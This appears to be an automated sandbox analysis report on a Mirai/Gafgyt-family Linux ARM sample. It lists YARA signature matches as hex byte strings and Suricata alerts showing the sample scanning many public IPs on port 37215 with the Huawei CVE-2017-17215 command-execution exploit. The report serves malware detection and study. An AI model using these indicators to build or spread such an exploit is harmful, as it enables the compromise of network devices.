5436.1.00007f9088017000.00007f9088035000.r-x.sdmp	Linux_Trojan_Gafgyt_6a510422	unknown	unknown	0x3b0e:$a: 0B E5 24 30 1B E5 2C 30 0B E5 1C 00 00 EA 18 30 1B E5 00 30
5436.1.00007f9088017000.00007f9088035000.r-x.sdmp	Linux_Trojan_Gafgyt_d2953f92	unknown	unknown	0x3a1e:$a: 1B E5 2A 00 53 E3 0A 00 00 0A 30 30 1B E5 3F 00 53 E3 23 00
Process Memory Space: vcimanagement.armv7l.elf PID: 5429	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: vcimanagement.armv7l.elf PID: 5429	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: vcimanagement.armv7l.elf PID: 5429	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: vcimanagement.armv7l.elf PID: 5429	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x2a2f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a43:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a57:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a6b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a7f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a93:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2aa7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2abb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2acf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2ae3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2af7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b0b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b1f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b33:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b47:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b5b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b6f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b83:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b97:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2bab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2bbf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: vcimanagement.armv7l.elf PID: 5431	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: vcimanagement.armv7l.elf PID: 5431	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: vcimanagement.armv7l.elf PID: 5431	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: vcimanagement.armv7l.elf PID: 5431	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x161aa:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x161be:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x161d2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x161e6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x161fa:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1620e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16222:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16236:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1624a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1625e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16272:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16286:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1629a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x162ae:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x162c2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x162d6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x162ea:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x162fe:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16312:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16326:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1633a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: vcimanagement.armv7l.elf PID: 5435	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: vcimanagement.armv7l.elf PID: 5435	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: vcimanagement.armv7l.elf PID: 5435	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: vcimanagement.armv7l.elf PID: 5435	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1684f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16863:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16877:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1688b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1689f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x168b3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x168c7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x168db:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x168ef:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16903:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16917:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1692b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1693f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16953:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16967:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1697b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1698f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169a3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169df:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: vcimanagement.armv7l.elf PID: 5436	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: vcimanagement.armv7l.elf PID: 5436	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: vcimanagement.armv7l.elf PID: 5436	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: vcimanagement.armv7l.elf PID: 5436	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x134cf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x134e3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x134f7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1350b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1351f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13533:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13547:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1355b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1356f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13583:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13597:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x135ab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x135bf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x135d3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x135e7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x135fb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1360f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13623:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x13637:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1364b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1365f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: vcimanagement.armv7l.elf PID: 5451	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: vcimanagement.armv7l.elf PID: 5451	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: vcimanagement.armv7l.elf PID: 5451	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: vcimanagement.armv7l.elf PID: 5451	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x3662:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3676:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x368a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x369e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x36b2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x36c6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x36da:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x36ee:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3702:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3716:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x372a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x373e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3752:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3766:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x377a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x378e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x37a2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x37b6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x37ca:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x37de:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x37f2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 45 entries

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T11:58:11.309755+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59844	156.250.122.117	37215	TCP
2024-12-30T11:58:11.467238+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49830	41.93.37.249	37215	TCP
2024-12-30T11:58:11.512409+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41620	156.249.168.197	37215	TCP
2024-12-30T11:58:11.887593+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37514	156.247.235.165	37215	TCP
2024-12-30T11:58:11.887606+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43964	41.74.164.208	37215	TCP
2024-12-30T11:58:11.887606+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41078	197.38.231.199	37215	TCP
2024-12-30T11:58:11.887608+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44952	197.60.116.58	37215	TCP
2024-12-30T11:58:11.887608+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38412	197.163.40.97	37215	TCP
2024-12-30T11:58:11.891543+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43348	156.101.11.103	37215	TCP
2024-12-30T11:58:11.891551+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53378	41.214.248.109	37215	TCP
2024-12-30T11:58:11.891551+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40526	197.24.201.80	37215	TCP
2024-12-30T11:58:11.891558+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39390	41.34.96.228	37215	TCP
2024-12-30T11:58:11.891560+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53256	156.68.68.240	37215	TCP
2024-12-30T11:58:11.891562+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45366	41.108.183.127	37215	TCP
2024-12-30T11:58:11.895441+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42920	41.200.70.248	37215	TCP
2024-12-30T11:58:11.895441+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49140	41.206.210.106	37215	TCP
2024-12-30T11:58:11.895442+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37548	197.142.229.57	37215	TCP
2024-12-30T11:58:11.895446+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35340	156.244.154.48	37215	TCP
2024-12-30T11:58:11.895450+0100	2835222	1	A Network Trojan was detected	192.168.2.13	38694	41.26.212.241	37215	TCP
2024-12-30T11:58:11.895450+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58980	197.124.218.69	37215	TCP
2024-12-30T11:58:11.899440+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56700	156.21.249.218	37215	TCP
2024-12-30T11:58:11.899441+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49356	41.117.136.128	37215	TCP
2024-12-30T11:58:11.899447+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56828	197.240.32.99	37215	TCP
2024-12-30T11:58:11.899452+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42628	197.177.99.168	37215	TCP
2024-12-30T11:58:11.899455+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59540	41.188.197.53	37215	TCP
2024-12-30T11:58:11.899456+0100	2835222	1	A Network Trojan was detected	192.168.2.13	47588	197.54.40.227	37215	TCP
2024-12-30T11:58:11.903435+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40788	156.129.228.150	37215	TCP
2024-12-30T11:58:11.903436+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45980	197.171.72.135	37215	TCP
2024-12-30T11:58:11.903438+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39272	197.61.151.147	37215	TCP
2024-12-30T11:58:11.903441+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36872	197.9.236.17	37215	TCP
2024-12-30T11:58:11.903446+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49452	197.240.74.165	37215	TCP
2024-12-30T11:58:11.903446+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34514	156.192.234.226	37215	TCP
2024-12-30T11:58:11.907437+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49096	156.209.217.158	37215	TCP
2024-12-30T11:58:11.907444+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33688	156.0.240.208	37215	TCP
2024-12-30T11:58:11.907444+0100	2835222	1	A Network Trojan was detected	192.168.2.13	39874	156.7.148.95	37215	TCP
2024-12-30T11:58:11.907444+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54742	156.175.150.37	37215	TCP
2024-12-30T11:58:11.907448+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49988	156.130.26.19	37215	TCP
2024-12-30T11:58:11.911444+0100	2835222	1	A Network Trojan was detected	192.168.2.13	36618	156.220.73.34	37215	TCP
2024-12-30T11:58:11.911449+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46304	156.201.245.6	37215	TCP
2024-12-30T11:58:11.911452+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51876	197.102.24.126	37215	TCP
2024-12-30T11:58:11.911457+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56470	41.195.253.254	37215	TCP
2024-12-30T11:58:11.911461+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53724	197.211.16.173	37215	TCP
2024-12-30T11:58:11.911465+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41286	197.36.89.140	37215	TCP
2024-12-30T11:58:11.915450+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52184	156.184.181.194	37215	TCP
2024-12-30T11:58:11.915450+0100	2835222	1	A Network Trojan was detected	192.168.2.13	58902	197.39.32.108	37215	TCP
2024-12-30T11:58:11.915475+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53748	197.195.57.53	37215	TCP
2024-12-30T11:58:11.915475+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46758	156.131.101.202	37215	TCP
2024-12-30T11:58:11.915475+0100	2835222	1	A Network Trojan was detected	192.168.2.13	37340	41.245.134.247	37215	TCP
2024-12-30T11:58:11.919438+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44756	156.207.249.17	37215	TCP
2024-12-30T11:58:11.919438+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55486	41.171.127.49	37215	TCP
2024-12-30T11:58:11.919444+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55256	197.210.230.82	37215	TCP
2024-12-30T11:58:11.919445+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60702	156.244.77.93	37215	TCP
2024-12-30T11:58:11.919446+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53652	156.95.34.112	37215	TCP
2024-12-30T11:58:11.919459+0100	2835222	1	A Network Trojan was detected	192.168.2.13	46600	41.50.141.94	37215	TCP
2024-12-30T11:58:11.927481+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44114	197.184.115.105	37215	TCP
2024-12-30T11:58:13.995708+0100	2835222	1	A Network Trojan was detected	192.168.2.13	53042	156.250.125.228	37215	TCP
2024-12-30T11:58:14.253395+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33194	197.129.120.114	37215	TCP
2024-12-30T11:58:15.898632+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44970	197.9.24.62	37215	TCP
2024-12-30T11:58:16.825136+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55144	197.9.255.10	37215	TCP
2024-12-30T11:58:17.614991+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34256	156.251.134.233	37215	TCP
2024-12-30T11:58:18.917070+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44634	197.8.182.204	37215	TCP
2024-12-30T11:58:19.565922+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42512	197.7.157.123	37215	TCP
2024-12-30T11:58:21.351725+0100	2835222	1	A Network Trojan was detected	192.168.2.13	56432	156.73.13.229	37215	TCP
2024-12-30T11:58:22.554873+0100	2835222	1	A Network Trojan was detected	192.168.2.13	35010	197.9.234.117	37215	TCP
2024-12-30T11:58:26.261519+0100	2835222	1	A Network Trojan was detected	192.168.2.13	54126	156.250.195.11	37215	TCP
2024-12-30T11:58:27.023066+0100	2835222	1	A Network Trojan was detected	192.168.2.13	49986	41.44.230.122	37215	TCP
2024-12-30T11:58:27.290067+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48428	156.224.35.19	37215	TCP
2024-12-30T11:58:28.329764+0100	2835222	1	A Network Trojan was detected	192.168.2.13	60780	156.254.188.23	37215	TCP
2024-12-30T11:58:28.551347+0100	2835222	1	A Network Trojan was detected	192.168.2.13	48852	197.6.107.53	37215	TCP
2024-12-30T11:58:28.819592+0100	2835222	1	A Network Trojan was detected	192.168.2.13	55260	156.235.57.57	37215	TCP
2024-12-30T11:58:28.819593+0100	2835222	1	A Network Trojan was detected	192.168.2.13	43954	156.225.70.162	37215	TCP
2024-12-30T11:58:29.504712+0100	2835222	1	A Network Trojan was detected	192.168.2.13	42506	156.73.148.219	37215	TCP
2024-12-30T11:58:29.799977+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33814	41.174.45.228	37215	TCP
2024-12-30T11:58:30.237712+0100	2835222	1	A Network Trojan was detected	192.168.2.13	59390	197.255.223.33	37215	TCP
2024-12-30T11:58:30.358060+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45056	156.255.70.75	37215	TCP
2024-12-30T11:58:30.519645+0100	2835222	1	A Network Trojan was detected	192.168.2.13	45638	156.73.12.139	37215	TCP
2024-12-30T11:58:30.634797+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50356	197.43.82.176	37215	TCP
2024-12-30T11:58:30.635091+0100	2835222	1	A Network Trojan was detected	192.168.2.13	44576	156.208.82.65	37215	TCP
2024-12-30T11:58:30.635239+0100	2835222	1	A Network Trojan was detected	192.168.2.13	51388	41.100.232.209	37215	TCP
2024-12-30T11:58:30.635335+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34922	156.115.166.195	37215	TCP
2024-12-30T11:58:30.635437+0100	2835222	1	A Network Trojan was detected	192.168.2.13	52204	41.230.93.192	37215	TCP
2024-12-30T11:58:30.635540+0100	2835222	1	A Network Trojan was detected	192.168.2.13	40894	156.126.87.54	37215	TCP
2024-12-30T11:58:30.635600+0100	2835222	1	A Network Trojan was detected	192.168.2.13	50942	197.93.214.96	37215	TCP
2024-12-30T11:58:30.635700+0100	2835222	1	A Network Trojan was detected	192.168.2.13	33168	156.198.240.187	37215	TCP
2024-12-30T11:58:30.635924+0100	2835222	1	A Network Trojan was detected	192.168.2.13	41748	156.66.117.24	37215	TCP
